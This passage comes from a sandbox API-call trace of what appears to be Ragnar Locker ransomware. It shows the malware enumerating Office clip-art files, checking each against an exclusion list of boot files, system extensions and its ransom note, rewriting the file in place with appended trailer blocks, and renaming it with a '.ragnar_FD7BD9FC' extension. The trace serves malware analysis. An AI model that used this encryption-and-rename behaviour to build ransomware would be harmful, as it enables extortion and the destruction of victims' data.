lpNumberOfBytesRead=0x1eaf34*=0x17742, lpOverlapped=0x0) returned 1 [0088.335] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.336] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17742, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.336] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17742, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17742, lpOverlapped=0x0) returned 1 [0088.336] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17742, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.336] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.337] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17742, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.337] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.337] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.337] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.337] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.337] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.337] GetProcessHeap () returned 0x580000 [0088.337] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.337] CloseHandle (hObject=0xf4) returned 1 [0088.337] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" [0088.337] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.ragnar_FD7BD9FC" [0088.337] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.338] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1 [0088.338] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.338] lstrcpyW (in: lpString1=0x1eb62e, lpString2="JAVA_01.MID" | out: lpString1="JAVA_01.MID") returned="JAVA_01.MID" [0088.338] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned=".MID" [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="autorun.inf") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="boot.ini") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="bootfont.bin") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="bootsect.bak") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="bootmgr") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="bootmgr.efi") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="bootmgfw.efi") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="desktop.ini") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="iconcache.db") returned 1 [0088.338] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="ntldr") returned -1 [0088.339] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="ntuser.dat") returned -1 [0088.339] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="ntuser.dat.log") returned -1 [0088.339] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="ntuser.ini") returned -1 [0088.339] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="thumbs.db") returned -1 [0088.339] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0088.339] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0088.339] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0088.339] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0088.339] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0088.339] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0088.339] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0088.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0088.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.339] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9797) returned 1 [0088.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x263c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.339] GetProcessHeap () returned 0x580000 [0088.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.339] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2645, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.341] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2645, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2645, lpOverlapped=0x0) returned 1 [0088.342] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.342] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2645, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.342] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2645, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2645, lpOverlapped=0x0) returned 1 [0088.342] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2645, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.342] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.342] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2645, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.343] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.343] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.343] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.343] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.343] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.343] GetProcessHeap () returned 0x580000 [0088.343] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.343] CloseHandle (hObject=0xf4) returned 1 [0088.343] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" [0088.343] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.ragnar_FD7BD9FC" [0088.343] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.344] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1 [0088.344] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.344] lstrcpyW (in: lpString1=0x1eb62e, lpString2="JNGLE_01.MID" | out: lpString1="JNGLE_01.MID") returned="JNGLE_01.MID" [0088.344] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned=".MID" [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="autorun.inf") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="boot.ini") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="bootfont.bin") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="bootsect.bak") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="bootmgr") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="bootmgr.efi") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="bootmgfw.efi") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="desktop.ini") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="iconcache.db") returned 1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="ntldr") returned -1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="ntuser.dat") returned -1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="ntuser.dat.log") returned -1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="ntuser.ini") returned -1 [0088.344] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="thumbs.db") returned -1 [0088.344] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0088.344] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0088.344] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0088.344] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0088.344] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0088.344] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0088.344] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0088.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0088.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.345] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5843) returned 1 [0088.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.345] GetProcessHeap () returned 0x580000 [0088.345] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.345] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.347] VirtualAlloc (lpAddress=0x0, dwSize=0x16d3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.347] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.347] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.347] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16d3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16d3, lpOverlapped=0x0) returned 1 [0088.348] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.348] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.348] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16d3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16d3, lpOverlapped=0x0) returned 1 [0088.348] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.348] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.348] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.348] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.348] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.348] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.349] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.349] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.349] GetProcessHeap () returned 0x580000 [0088.349] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.349] CloseHandle (hObject=0xf4) returned 1 [0088.349] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" [0088.349] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.ragnar_FD7BD9FC" [0088.349] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.350] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1 [0088.350] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.350] lstrcpyW (in: lpString1=0x1eb62e, lpString2="MP00021_.WMF" | out: lpString1="MP00021_.WMF") returned="MP00021_.WMF" [0088.350] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF") returned=".WMF" [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="autorun.inf") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="boot.ini") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="bootfont.bin") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="bootsect.bak") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="bootmgr") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="bootmgr.efi") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="desktop.ini") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="iconcache.db") returned 1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="ntldr") returned -1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="ntuser.dat") returned -1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="ntuser.ini") returned -1 [0088.350] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="thumbs.db") returned -1 [0088.350] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.350] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.350] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.350] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.350] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.350] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.350] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf")) returned 0x20 [0088.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.361] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5622) returned 1 [0088.361] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.361] GetProcessHeap () returned 0x580000 [0088.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.361] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.363] VirtualAlloc (lpAddress=0x0, dwSize=0x15f6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.363] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15f6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15f6, lpOverlapped=0x0) returned 1 [0088.364] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.364] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.364] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15f6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15f6, lpOverlapped=0x0) returned 1 [0088.364] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.364] 